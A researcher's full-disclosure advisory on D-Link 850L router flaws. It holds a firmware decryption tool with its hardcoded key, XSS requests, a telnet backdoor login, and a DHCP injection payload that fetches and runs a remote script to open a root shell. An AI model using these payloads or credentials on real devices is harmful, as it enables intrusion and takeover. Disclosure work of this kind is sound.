IT Security Research by Pierre


Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol

Product Description

Dlink is a multinational networking equipment manufacturing corporation.

The Dlink 850L is a Wireless AC1200 Dual Band Gigabit "Cloud" Router.

Mydlink Cloud Services allow you to access, view and control the devices on your home network from anywhere.

Vulnerabilities Summary

The Dlink 850L is a router overall badly designed with a lot of vulnerabilities.

Basically, everything was pwned, from the LAN to the WAN. Even the custom MyDlink cloud protocol was abused.

My research in analyzing the security of Dlink 850L routers starts from a recent security contest organized by a security company. The Dlink 850L has 2 versions of these routers with very slight hardware modifications.

The contest targeted the first version (revisionA) but I (unfortunately) received the wrong version, revisionB (thank you Amazon!), which was not eligible for the contest.

In this advisory, I would like to introduce the 0day vulnerabilities from both versions of Dlink 850L that were not submitted to the contest. Note that I submitted a valid vulnerability to SSD which was patched.

Following a very badly coordinated previous disclosure with Dlink last February (see, Full-disclosure is applied this time.

The summary of the vulnerabilities is:

  1. Firmware "protection"
  2. WAN && LAN - revA - XSS - CVE-2017-14413, CVE-2017-14414, CVE-2017-14415, CVE-2017-14416
  3. WAN && LAN - revB - Retrieving admin password, gaining full access using the custom mydlink Cloud protocol - CVE-2017-14417, CVE-2017-14418
  4. WAN - revA and revB - Weak Cloud protocol - CVE-2017-14419, CVE-2017-14420
  5. LAN - revB - Backdoor access - CVE-2017-14421
  6. WAN && LAN - revA and revB - Stunnel private keys - CVE-2017-14422
  7. WAN && LAN - revA - Nonce bruteforcing for DNS configuration - CVE-2017-14423
  8. Local - revA and revB - Weak files permission and credentials stored in cleartext - CVE-2017-14424, CVE-2017-14425, CVE-2017-14426, CVE-2017-14427, CVE-2017-14428
  9. WAN - revB - Pre-Auth RCEs as root (L2) - CVE-2017-14429
  10. LAN - revA and revB - DoS against some daemons - CVE-2017-14430

revA targets the revision A of the router with the latest firmware available (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin).

revB targets the revision B of the router with the latest firmware images available (DIR850LB1_FW207WWb05.bin and DIR850L_REVB_FW207WWb05_h1ke_beta1.bin from, DIR850LB1 FW208WWb02.bin from

Details - Firmware "protection"

The latest firmware for Dlink 850L revA (DIR850L_REVA_FW114WWb07_h2ab_beta1.bin) is not protected and a new firmware image can be trivially forged by an attacker.

The latest firmware images for Dlink 850L revB (DIR850LB1_FW207WWb05.bin, DIR850L_REVB_FW207WWb05_h1ke_beta1.bin and DIR850LB1 FW208WWb02.bin) are password-protected with a hardcoded password.

Here is a program to decrypt the firmware image:

 * Simple tool to decrypt D-LINK DIR-850L REVB firmwares 
 * $ gcc -o revbdec revbdec.c
 * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define USAGE "Usage: decimg <filename> <key>\n"

int main(int    argc,
         char   **argv)
        int     i, fi;
        int     fo = STDOUT_FILENO, fe = STDERR_FILENO;

        if (argc != 3)
                write(fe, USAGE, strlen(USAGE));
                return (EXIT_FAILURE);

        if ((fi = open(argv[1], O_RDONLY)) == -1)
                write(fe, USAGE, strlen(USAGE));
                return (EXIT_FAILURE);

        const char *key = argv[2];
        int kl = strlen(key);

        i = 0;
        while (1)
                char buffer[4096];
                int j, len;
                len = read(fi, buffer, 4096);
                if (len <= 0)
                for (j = 0; j < len; j++) {
                        buffer[j] ^= (i + j) % 0xFB + 1;
                        buffer[j] ^= key[(i + j) % kl];
                write(fo, buffer, len);
                i += len;

       return (EXIT_SUCCESS);

You can use this program to decrypt firmware images:

user@kali:~/petage-dlink$ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
user@kali:~/petage-dlink$ binwalk DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted

0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
593           0x251           LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10518016 bytes; big endian size: 8298496 bytes
1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8296266 bytes, 2678 inodes, blocksize: 131072 bytes, created: 2017-01-20 06:39:29

The protection of the firmware images is non-existent.

Details - WAN && LAN - revA - XSS

Simply by analyzing PHP files inside /htdocs/web, we can discover several trivial XSS.

An attacker can use the XSS to target an authenticated user in order to steal the authentication cookies.


user@kali:~/petage-dlink$ wget -qO- --post-data='action=<a>' http://ip:port/wpsacts.php
<?xml version="1.0" encoding="utf-8"?>

user@kali:~/petage-dlink$ cat ./fs/htdocs/web/wpsacts.php
        <action><?echo $_POST["action"];?></action>

XSS inside /htdocs/web/shareport.php:

         <action><?echo $_POST["action"];?></action>

XSS inside /htdocs/web/sitesurvey.php:

        <action><?echo $_POST["action"];?></action>

XSS inside /htdocs/web/wandetect.php:

   <action><?echo $_POST["action"];?></action>

XSS inside /htdocs/web/wpsacts.php:

   <action><?echo $_POST["action"];?></action>

Details - WAN && LAN - revB - Retrieving admin password, gaining full access using the custom mydlink Cloud protocol

DISCLAIMER: Beware, no request has been sent directly to any servers operated by Dlink or other companies. All internet network traffic shown below is legitimate and produced by Dlink itself, or by products of Dlink (Dlink Cloud, Dlink browser extensions, Dlink 850L). All the findings exposed below were discovered without exceeding Dlink terms of use. This simply demonstrates how much broken this service is at the time of writing (run away!).

The webpage http://ip_of_router/register_send.php doesn't check the authentication of the user, thus an attacker can abuse this webpage to gain control of the device. This webpage is used to register the device to the myDlink cloud infrastructure.

Attack scenario:

o The attacker will use the unauthenticated /register_send.php webpage to:

  1. create a MyDlink Cloud account,

  2. signin the device to this account,

  3. add the device to this account (the device will pass admin password to the Cloud platform! Meaning the passwords are stored in cleartext).

o The attacker will then visit Dlink mycloud webpage using a classic browser (i.e.: Firefox 50 and install the official Dlink NPAPI extension (this will not work with Firefox > 50 or any recent version of Chrome since this plugin requires unsandboxed NPAPI support). This webpage will allow the attacker to remotely control the device (reboot, general management...).

o Then, using Firefox dev tools, the attacker can passively analyze the default HTTP requests/responses from the Dlink APIs on The dlink cloud interface will leak by default the password of the device (!) inside the answer of a PUT request (and inside GET requests too). Just by watching the HTTP requests from the NPAPI plugin, the APIs will provide passwords of the device in cleartext.

o Finally, the NPAPI plugins will automatically establish a tunnel between the router and the Firefox browser: the attacker will be able to visit to reach the remote router. The traffic will go directly to Amazon servers then to the remote Dlink router:

Firefox NPAPI client (   ->    Amazon   ->    Dlink 850L HTTP Interface.

o The attacker will use the previous password provided by the legit HTTPS answers from the Dlink APIs and will be able to login inside the router. At that point complete control over the router is achieved.

o This is made possible by the signalc program (inside /mydlink/) that creates a TCP tunnel to Amazon servers.

Finally, I will demonstrate some part of the traffic inside this tunnel is in cleartext and the other part (encrypted traffic) can be MITM'd thanks to self-signed certificates and the complete lack of certificate verification.

Let's resume the attack:

The PHP script hosted at http://ip_of_router/register_send.php will serve as a proxy between the attacker and the remote Dlink APIs. This page will also retrieve the password (it is stored in cleartext - see part 8. Weak files permission and credentials stored in cleartext) and send it to remote Dlink APIs.

151 $devpasswd = query("/device/account/entry/password"); <- $devpasswd contains the password
152 $action = $_POST["act"];                                 of the device

The password will be sent during the association of the device (3rd request : adddev) to the Mydlink Cloud service (see the &device_password=$devpasswd):

178 //sign up
179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";
183 $post_url_signup = "/signin/";
185 $action_signup = "signup";
187 //sign in       
188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";
191 $post_url_signin = "/account/?signin";
193 $action_signin = "signin";
195 //add dev (bind device)
196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";
199 $post_url_adddev = "/account/?add";
201 $action_adddev = "adddev";
203 //main start
204 if($action == $action_signup)                    <---- first request
205 {
206         $post_str = $post_str_signup;
207         $post_url = $post_url_signup;
208         $withcookie = "";   //signup dont need cookie info
209 }
210 else if($action == $action_signin)               <---- second request
211 {
212         $post_str = $post_str_signin;
213         $post_url = $post_url_signin;
214         $withcookie = "\r\nCookie: lang=en; mydlink=pr2c11jl60i21v9t5go2fvcve2;";
215 }
216 else if($action == $action_adddev)               <---- 3rd request
217 {
218         $post_str = $post_str_adddev;
219         $post_url = $post_url_adddev;
220 }

To exploit this vuln, let's create 3 HTTP requests to the dlink router:

The first one (signup) will create an user on the MyDlink service:

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signup&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php

<?xml version="1.0"?>

Internally, this request was crafted and sent to MyDlink Cloud APIs:

179 $post_str_signup = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
180                    "&action=sign-up&accept=accept&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"].
181                    "&password_verify=" .$_POST["passwd"]. "&name_first=" .$_POST["firstname"]. "&name_last=" .$_POST["lastname"]." ";

The second one (signin) will "signin" the newly created user - the router will be associated with this account - but not activated:

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=signin&lang=en&outemail=MYEMAIL@GMAIL.COM&passwd=SUPER_PASSWORD&firstname=xxxxxxxx&lastname=xxxxxxxx' http://ip/register_send.php

<?xml version="1.0"?>

Internally, this request was crafted and sent to MyDlink Cloud APIs:

188 $post_str_signin = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
189             "&email=" .$_POST["outemail"]. "&password=" .$_POST["passwd"]." ";

The last one will associate the device to the dlink service and will send the password of the device to the remote APIs of Dlink:

user@kali:~/petage-dlink$ wget -qO- --user-agent="" --post-data 'act=adddev&lang=en' http://ip/register_send.php

<?xml version="1.0"?>

Internally, this request was crafted and sent to MyDlink Cloud APIs:

196 $post_str_adddev = "client=wizard&wizard_version=" .$wizard_version. "&lang=" .$_POST["lang"].
197             "&dlife_no=" .$mydlink_num. "&device_password=" .$devpasswd. "&dfp=" .$dlinkfootprint." ";

Now please confirm the email using the email sent from Dlink:

Then, visit and login using the email and the password.

You will see the device listed in the web interface (You need to install the plugin - you can use "IE8 - Win7.ova" from Microsoft, you need Firefox 50 to use the plugin).

Please see the attached screenshot to see the available management options (you can click on the images):

By analyzing the requests, we can get more information about the targeted router (note the requests are made by default when browsing the website!):

It appears the PUT (PUT IDENTIFIER_OF_THE_ROUTER) request provides a response with the cleartext password of the device!

Note that there is a GET request on the end of the image, we will study it too.

The POST data are:


The answer is, in cleartext (and contains the password of the device):


A GET request is done too (the last one on the previous image), which allows to retrieve the password and the previous one (was changed in the router to confirm this fact):

The request is:


And the answer is the same, with the previous password (plainPassword) and the new password (adminPassword):


Finally, a request is made from the NPAPI plug-in asking for a tunnel between the browser and the remote router:

The request to /tssm/tssml.php will ask the remote Cloud platform to forward the traffic to the device number 3XXXXXXX. This will provide the attacker information about the new-established TCP tunnel from the browser NPAPI extension to the DLINK 850L router, via the Cloud platform:;+rv:50.0)+Gecko/20100101+Firefox/50.0&message=[{"service":"http","scheme":"http","tunnel":"relay","ip":"","port":50453},{"service":"https","scheme":"https","tunnel":"relay","ip":"","port":50454}]&_=EDITED_RANDOM_VALUE

It appears the plugin listens on (HTTP) and (HTTP over SSL) as shown below:

Ok, let's browse The traffic is sent to the remote router over the Cloud protocol.

By using the password leak found before (in the PUT and GET requests), the attacker can remotely pwn the router and update the firmware with a custom (backdoored) one:


These vulnerabilities may affect some Dlink NAS/routers/cameras.

On a side note, it is interesting to find that DLink is storing all the passwords of devices using the mydlink service in cleartext.

Details - WAN - revA and revB - Weak Cloud protocol

The MyDlink Cloud protocol is weak. No encryption is provided by default by this technology, it is only a basic TCP relay system. All the traffic is sent over TCP to remote Amazon server without proper encryption:

There are 2 TCP relays:

So, it appears, the router is reachable over this TCP tunnel using either HTTP and HTTPS. By default, you can see HTTP request AND HTTPS request from the browser (over the tunnel) to the router. About the HTTPS requests, the SSL certificate provided by the router is self-signed. Sus, an invalid certificate can be forged and used in order to successful MITM the device and intercept information. More, by default, a TCP relay for HTTP is made by the NPAPI plugin to the router as shown above.

Futhermore, the /mydlink/signalc program running inside the router uses the MAC address of the device to get an unique identifier, which will always be the same, even if the dlink device is reset or linked with a new dlink cloud account. This allows Dlink to 'follow' the ownership of the device.

Hopefully, an user can change the MAC addresses of the device using the rgbin binary (/usr/sbin/devdata is a symlink to /usr/sbin/rgbin and the used argv[0] must be devdata to work):

# /usr/sbin/devdata dump # will dump all the configuration
# /usr/sbin/devdata set -e lanmac=00:11:22:33:44:55 # will define a new mac address for the lan interface

This program will only rewrite information over /dev/mtdblock/4.

Finally, the mydlink interface allows the user to enter credentials for gmail/hotmail accounts, the credentials are then transfered to the routers using the tunnel established with the cloud protocol. It doesn't seem to be a good idea, as the traffic between the router and the Cloud platform is not encrypted or encrypted using a self-signed certificate without verification and the passwords are sent over this tunnel using the Internet.

These vulnerabilities may affect some Dlink NAS/routers/cameras (every device that supports the MyDlink cloud protocol).

Some wireshark (cleartext traffic and with self-signed certificate):

Details - LAN - revB - Backdoor access

On revB, if you reset the device, the /etc/init0.d/ init script will start the mfcd binary with these arguments:

mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &

mfcd is in fact a telnetd server. the -u flag defines the authorized user with the associated password ($image_sign variable).

br0 is a bridge for these interfaces: eth0, peth0, wlan0 et wlan1. This backdoor access can be only used from the LAN side.

user@kali:~/petage-dlink$ cat fs/etc/init0.d/
echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` 
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
        mfcd -i br0 -t 99999999999999999999999999999 &

if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then

        if [ -f "/usr/sbin/login" ]; then
                image_sign=`cat /etc/config/image_sign`
                mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
                mfcd &
        killall mfcd

By using the login Alphanetworks and the password wrgac25_dlink.2013gui_dir850l, the attacker can get a root shell on the device:

user@kali:~/petage-dlink$ telnet
Connected to
Escape character is '^]'.
Login: Alphanetworks
Password: wrgac25_dlink.2013gui_dir850l

BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# echo what

Details - WAN && LAN - revA and revB - Stunnel private keys

Keys are hardcoded inside the firmware. The administration can be used using HTTPS. This allows an attacker to do SSL MITM:

# ls -la /etc/stunnel.key
-rwxr-xr-x    1 root     root         1679 Jan 20  2017 /etc/stunnel.key
# cat /etc/stunnel.key
# cat /etc/stunnel_cert.pem
    Version: 3 (0x2)
    Serial Number:
    Signature Algorithm: sha1WithRSAEncryption
    Issuer: C=TW, ST=Taiwan, O=None, OU=None, CN=General Root CA/emailAddress=webmaster@localhost
        Not Before: Feb 22 06:04:36 2012 GMT
        Not After : Feb 17 06:04:36 2032 GMT
    Subject: C=TW, ST=Taiwan, L=HsinChu, O=None, OU=None, CN=General Router/emailAddress=webmaster@localhost
    Subject Public Key Info:
        Public Key Algorithm: rsaEncryption
            Public-Key: (2048 bit)
            Exponent: 65537 (0x10001)
    X509v3 extensions:
        X509v3 Basic Constraints: 
        Netscape Comment: 
            OpenSSL Generated Certificate
        X509v3 Subject Key Identifier: 
        X509v3 Authority Key Identifier: 

Signature Algorithm: sha1WithRSAEncryption

Details - WAN && LAN - revA - Nonce bruteforcing for DNS configuration

The file htdocs/parentalcontrols/bind.php allows to change DNS configuration. It doesn't check authentication of the admin user.

An attacker can bruteforce the nonce (?nonce=integer). There are no limitations of HTTP requests and no authentication method:

  8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800;
  9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="")
 10 {
 11         $Response="BindError";
 12 }
 13 else if(query("/runtime/device/uptime") > $uptime_limit)
 14 {
 15         $Response="BindTimeout";
 16 }

The attacker can then define new DNS servers:

 21         set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]);
 22         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]);
 23         set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]);

An attacker can use this vuln to forward traffic to server he/she controls (i.e.: custom Dlink Cloud servers, to take control over the dlink router).

Details - Local - revA and revB - Weak files permission and credentials stored in cleartext

It appears some files have weak permissions:

   1. /var/passwd

/var/passwd contains credentials in cleartext.

The permissions of /var/passwd are: -rw-rw-rw- (666)

# ls -la /var/passwd
-rw-rw-rw-    1 root     root           28 Jan  1 00:00 /var/passwd
# cat /var/passwd
"Admin" "password" "0"

   2. /var/etc/hnapasswd

Note that an attacker can use /var/etc/hnapasswd to retrieve the password in cleartext too:

# cat /var/etc/hnapasswd

The permissions of /var/etc/hnapasswd are: -rw-rw-rw- (666)

# ls -la /var/etc/hnapasswd
-rw-rw-rw-    1 root     root           20 Jan  1 00:00 /var/etc/hnapasswd

   3. /etc/shadow

/etc/shadow is a symlink to /var/etc/passwd. The file /var/etc/passwd is world-readable, as shown below:

# ls -al /etc/shadow 
lrwxrwxrwx    1 root     root           15 Jan 20  2017 /etc/shadow -> /var/etc/shadow
# ls -la /var/etc/shadow
-rw-r--r--    1 root     root           93 Jan  1 00:00 /var/etc/shadow

This file contains a DES hash of the admin user.

# cat /var/etc/shadow

   4. /var/run/storage_account_root

/var/run/storage_account_root contains credentials in cleartext.

The permissions of /var/passwd are: -rw-rw-rw- (666)

# ls -la /var/run/storage_account_root
-rw-rw-rw-    1 root     root           40 Jan  1 00:00 /var/run/storage_account_root
# cat /var/run/storage_account_root

   5. /var/run/hostapd*

The files /var/run/hostapd* contain the wireless passphrase in cleartext.

The permissions of these files are: -rw-rw-rw- (666)

# ls -la /var/run/hostapd*
-rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan1wps.eap_user
-rw-rw-rw-    1 root     root         1160 Jan  1 00:00 /var/run/hostapd-wlan1.conf
-rw-rw-rw-    1 root     root           73 Jan  1 00:00 /var/run/hostapd-wlan0wps.eap_user
-rw-rw-rw-    1 root     root         1170 Jan  1 00:00 /var/run/hostapd-wlan0.conf
# cat /var/run/hostapd*|grep -i pass

Details - WAN - revB - Pre-Auth RCEs as root (L2)

The DHCP client running on the router is vulnerable to several command injections as root.

Please use the dhcpd.conf file provided:

rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf
option domain-name ";wget -O /var/re ; sh /var/re;";
option domain-name-servers,;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
subnet netmask {
  option routers;
rasp-pwn-dlink# ifconfig eth1
eth1      Link encap:Ethernet  HWaddr 00:0e:c6:aa:aa:aa  
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link
          RX packets:129 errors:0 dropped:0 overruns:0 frame:0
          TX packets:107 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:11181 (10.9 KiB)  TX bytes:49155 (48.0 KiB)

rasp-pwn-dlink# cat /var/www/html/dhcp-rce 

wget -O /var/telnetd-dhcpd-wan
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
sleep 10
done ) &

/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &

rasp-pwn-dlink# dhcpd eth1
Internet Systems Consortium DHCP Server 4.3.1
Copyright 2004-2014 Internet Systems Consortium.
All rights reserved.
For info, please visit
Config file: /etc/dhcp/dhcpd.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/
Wrote 1 leases to leases file.
Listening on LPF/eth1/00:0e:c6:aa:aa:aa/
Sending on   LPF/eth1/00:0e:c6:aa:aa:aa/
Sending on   Socket/fallback/fallback-net

When doing a DHCP request at startup, the router connects from the WAN the remote HTTP server:

rasp-pwn-dlink# tail -f /var/log/nginx/access.log - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"

And now we got a telnetd from the WAN:

rasp-pwn-dlink# telnet 110
Connected to
Escape character is '^]'.

BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# uname -ap
Linux dlinkrouter #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux
# cd /var
# ls -la
drwxr-xr-x    5 root     root            0 Jan  1 00:00 etc
drwxr-xr-x    2 root     root            0 Jan  1  1970 log
drwxr-xr-x    3 root     root            0 Jan  1 00:00 run
drwxr-xr-x    2 root     root            0 Jan  1  1970 sealpac
drwxr-xr-x    4 root     root            0 Jan  1 00:00 tmp
drwxr-xr-x    2 root     root            0 Jan  1  1970 dnrd
drwxr-xr-x    4 root     root            0 Jan  1  1970 htdocs
-rw-r--r--    1 root     root           10 Jan  1  1970 TZ
drwxr-xr-x    2 root     root            0 Jan  1 00:00 servd
-rw-r--r--    1 root     root         5588 Jan  1  1970 default_wifi.xml
-rw-rw-rw-    1 root     root           28 Jan  1 00:00 passwd
drwxrwx---    2 root     root            0 Jan  1 00:00 session
srwxr-xr-x    1 root     root            0 Jan  1 00:00 gpio_ctrl
-rw-r--r--    1 root     root            2 Jan  1 00:00 sys_op
drwxr-xr-x    2 root     root            0 Jan  1 00:00 home
lrwxrwxrwx    1 root     root           16 Jan  1 00:00 portal_share -> /var/tmp/storage
drwxr-xr-x    3 root     root            0 Jan  1 00:00 proc
-rwxr-xr-x    1 root     root          856 Jan  1 00:00 killrc0
drwxr-xr-x    2 root     root            0 Jan  1 00:00 porttrigger
-rw-r--r--    1 root     root          383 Jan  1 00:00 re
-rwxrwxrwx    1 root     root        10520 Jan  1 00:00 telnetd-dhcpd-wan
-rw-rw-rw-    1 root     root          301 Jan  1 00:00 rendezvous.conf
-rw-rw-rw-    1 root     root          523 Jan  1 00:00 stunnel.conf
-rw-rw-rw-    1 root     root          282 Jan  1 00:00 topology.conf
-rw-rw-rw-    1 root     root          394 Jan  1 00:00 lld2d.conf
-rw-r--r--    1 root     root          199 Jan  1 00:00 hosts
drwxr-xr-x   16 root     root          241 Jan 20  2017 ..
drwxr-xr-x   14 root     root            0 Jan  1 00:00 .
# cat re

wget -O /var/telnetd-dhcpd-wan
chmod 777 /var/telnetd-dhcpd-wan
(for i in 0 1 2 3; do # win races against legit iptables rules
iptables -F        
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -P INPUT ACCEPT
sleep 10 
done ) &
/var/telnetd-dhcpd-wan -l /bin/sh -p 110 &


This telnetd access is reachable from the WAN and the LAN.

Analysis of the vulnerabilities

There are several WAN RCEs. The first problem is located here:


 94         $udhcpc_helper  = "/var/servd/".$inf."";

And you have command injections everywhere starting line 101.

 99     fwrite(w,$udhcpc_helper, 
100                 '#!/bin/sh\n'.
101                 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console\n'.
102                 'phpsh '.$hlper.' ACTION=$1'.
103                         ' INF='.$inf.
104                         ' INET='.$inet.
105                         ' MTU='.$mtu.
106                         ' INTERFACE=$interface'.
107                         ' IP=$ip'.
108                         ' SUBNET=$subnet'.
109                         ' BROADCAST=$broadcast'.
110                         ' LEASE=$lease'.
111                         ' "DOMAIN=$domain"'.
112                         ' "ROUTER=$router"'.
113                         ' "DNS='.$dns.'$dns"'.
114                         ' "CLSSTROUT=$clsstrout"'.
115                         ' "MSCLSSTROUT=$msclsstrout"'.
116                         ' "SSTROUT=$sstrout"'.
117                         ' "SCOPE=$scope"'.
118                         ' "WINSTYPE=$winstype"'.
119                         ' "WINS=$wins"'.
120                         ' "SIXRDPFX=$sixrd_prefix"'.
121                         ' "SIXRDPLEN=$sixrd_prefixlen"'.
122                         ' "SIXRDMSKLEN=$sixrd_msklen"'.
123                         ' "SIXRDBRIP=$sixrd_bripaddr"'.
124                         ' "SDEST=$sdest"'.
125                         ' "SSUBNET=$ssubnet"'.
126                         ' "SROUTER=$srouter"\n'.
127                 'exit 0\n'
128                 );

As you can see, variables are not sanitized. One solution is also to inject commands using the /var/servd/$ script with $domain (option domain-name in isc-dhcp).

The file will be generated and called by udhcpc (udhcpc -i eth1 -H dlinkrouter -p /var/servd/ -s /var/servd/

# cat
echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console
phpsh /etc/services/INET/inet4_dhcpc_helper.php ACTION=$1 INF=WAN-1 INET=INET-3 MTU=1500 INTERFACE=$interface IP=$ip SUBNET=$subnet BROADCAST=$broadcast LEASE=$lease "DOMAIN=$domain" "ROUTER=$router" "DNS=$dns" "CLSSTROUT=$clsstrout" "MSCLSSTROUT=$msclsstrout" "SSTROUT=$sstrout" "SCOPE=$scope" "WINSTYPE=$winstype" "WINS=$wins" "SIXRDPFX=$sixrd_prefix" "SIXRDPLEN=$sixrd_prefixlen" "SIXRDMSKLEN=$sixrd_msklen" "SIXRDBRIP=$sixrd_bripaddr" "SDEST=$sdest" "SSUBNET=$ssubnet" "SROUTER=$srouter"
exit 0

So using this DNS configuration will work against the router:

option domain-name "`wget -O /var/re ; sh /var/re;`";

In the logs, we confirm the execution:

rasp-pwn-dlink# tail -f /var/log/nginx/access.log - - [03/Jul/2017:15:42:31 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" - - [03/Jul/2017:15:42:31 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget"

Note that you also have command injections inside some generated files (in /var/servd/) using the ;wget -O /var/re ; sh /var/re; payload:

# cat /var/servd/
rm -f /var/servd/
xmldbc -X /runtime/inf:1/dhcps4/leases
xmldbc -s /runtime/inf:1/dhcps4/pool/start
xmldbc -s /runtime/inf:1/dhcps4/pool/end
xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:1/dhcps4/pool/network
xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re ; sh /var/re; <--- command injection
xmldbc -s /runtime/inf:1/dhcps4/pool/router
event UPDATELEASES.LAN-1 add "@/etc/events/ LAN-1 /var/servd/"
udhcpd /var/servd/LAN-1-udhcpd.conf &
exit 0
exit 0

# cat /var/servd/
rm -f /var/servd/
xmldbc -X /runtime/inf:2/dhcps4/leases
xmldbc -s /runtime/inf:2/dhcps4/pool/start
xmldbc -s /runtime/inf:2/dhcps4/pool/end
xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800
xmldbc -s /runtime/inf:2/dhcps4/pool/network
xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24
xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re ; sh /var/re; <--- command injection
xmldbc -s /runtime/inf:2/dhcps4/pool/router
event UPDATELEASES.LAN-2 add "@/etc/events/ LAN-2 /var/servd/"
udhcpd /var/servd/LAN-2-udhcpd.conf &
exit 0
exit 0

Bonus point: this attack will be relayed to internal clients using the dhcp server running inside the router. So if you connect a vulnerable Dlink router to the internal network, it will be pwned too:

# ps -w|grep dhcpd
 6543 root       984 S    udhcpd /var/servd/LAN-1-udhcpd.conf 
 6595 root       984 S    udhcpd /var/servd/LAN-2-udhcpd.conf

The /runtime/inf:{1,2}/dhcps4/pool/domain entries in the /var/servd/LAN-{1,2}-udhcpd.conf files contain the rogue domain value:

# cat /var/servd/LAN-1-udhcpd.conf
remaining no
interface br0
lease_file /var/servd/
pidfile /var/servd/
force_bcast no
opt subnet
opt domain ;wget -O /var/re ; sh /var/re;

^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN,
             possibly infecting other dlink routers \o/

opt router
opt dns
opt lease 604800
dhcp_helper event UPDATELEASES.LAN-1
# cat /var/servd/LAN-2-udhcpd.conf
remaining no
interface br1
lease_file /var/servd/
pidfile /var/servd/
force_bcast no
opt subnet
opt domain ;wget -O /var/re ; sh /var/re

^^^^^^^^^^^^ this domain will be provided to clients connected on the LAN,
             possibly infecting other dlink routers \o/

opt router
opt dns
opt lease 604800
dhcp_helper event UPDATELEASES.LAN-2

Details - LAN - revA and revB - DoS against some daemons

